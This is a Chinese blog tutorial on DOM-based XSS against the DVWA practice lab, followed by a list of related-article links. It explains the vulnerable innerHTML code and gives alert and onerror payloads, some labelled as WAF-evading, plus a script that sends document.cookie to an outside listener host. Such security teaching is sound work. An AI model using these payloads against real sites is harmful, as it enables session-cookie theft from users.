当前位置: 首页 > ops >正文

DOM-Based XSS(基于文档对象模型的跨站脚本攻击)

✅ 一、什么是 DOM XSS?

DOM XSS 是一种发生在浏览器端 JavaScript 中的漏洞,攻击者通过修改页面 URL 参数,使页面的 JS 脚本在未经清洗的情况下处理了恶意内容。

与反射型/存储型不同,DOM XSS 不依赖服务器端返回,而是浏览器前端脚本自己“造出来的洞”。

🧪 二、练习环境:DVWA > XSS (DOM)

  • 拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
  • 打开 DVWA 中的:

XSS (DOM) 页面
你可以在地址栏看到类似:
http://localhost:8080/vulnerabilities/xss_d/?default=English

🔥 三、构造攻击 payload

在 URL 参数 default 中注入恶意 JS:

示例 1:弹窗测试
将 URL 改为:

http://localhost:8080/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>

如果弹窗生效,你就成功执行了 DOM XSS。
在这里插入图片描述

🧠 四、为什么会生效?

在查看网页源代码(Ctrl+U 或 F12)后,你会看到类似:

<script>var language = document.URL.split('default=')[1];document.getElementById("language").innerHTML = language;
</script>

这个 JS 没有对 language 内容进行任何转义或编码,直接将 URL 中的参数插入了 HTML 页面中,这就构成了 DOM XSS。

🛠️ 五、其他测试 payload(不触发 WAF)

隐形脚本:

"><script>alert(1)</script>

在这里插入图片描述

使用 onerror:

<img src=x onerror=alert('XSS')>

放在 URL 参数里:

http://localhost:8080/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>

在这里插入图片描述

🎯 六、扩展测试:窃取 Cookie

如果你已经搭建了监听服务:

<script>new Image().src="http://192.168.220.128:8081/log?c=" + document.cookie;
</script>

URL 编码后放入:

http://localhost:8080/vulnerabilities/xss_d/?default=%3Cscript%3Enew%20Image().src%3D%22http%3A//192.168.220.128:8081/log%3Fc%3D%22%2Bdocument.cookie%3C/script%3E
http://www.xdnf.cn/news/14414.html

相关文章:

  • leetcode 搜索插入位置 java
  • 定时器时基单元参数配置及计算公式
  • Python | Python中最常用的100个函数(含内置函数、标准库函数及第三方库)
  • 基于 Transformer RoBERTa的情感分类任务实践总结之五——剪枝
  • 使用LDA进行主题建模:发现文本中的隐藏主题 - 父亲节特别版
  • 【旧题新解】第 9 集 带余除法
  • router.push()
  • 疗愈经济崛起:如何把“情绪价值”转化为医疗健康产品?
  • 我的研究方向是关于联邦学习的数据隐私保护,这些都是我在学校过程中遇到的困惑,借助ai来解决我的问题,也分享给大家。联邦学习的公开数据集,数据集的使用方法等
  • 《解码SCSS:悬浮与点击效果的高阶塑造法则》
  • 电影院管理系统的设计与实现
  • O - 方差
  • 【项目实训】【项目博客#06】大模型微调与推理优化(4.21-5.11)
  • Velocity提取模板变量
  • 项目三 - 任务7:开发名片管理系统
  • SCAU大数据技术原理期末复习|第10、11章
  • ansible模块使用实践
  • UnityDots学习(六)
  • 手动 + 自动双方案组合:Innocise 壁虎吸盘灵活适配多场景无损搬运需求
  • 谷歌浏览器编译windows版本
  • Vue3相关知识1
  • STM32 HAL库学习 RNG篇
  • 编译链接实战(32)动态库的本质和原理
  • 循环神经网络及其变体
  • 数据库核心技术深度剖析:事务、索引、锁与SQL优化实战指南(第六节)-----InnoDB引擎
  • 软件设计模式入门
  • 力扣Hot100每日N题(17~18)
  • Vue学习001-创建 Vue 应用
  • anaconda安装教程
  • 板凳-------Mysql cookbook学习 (十--7)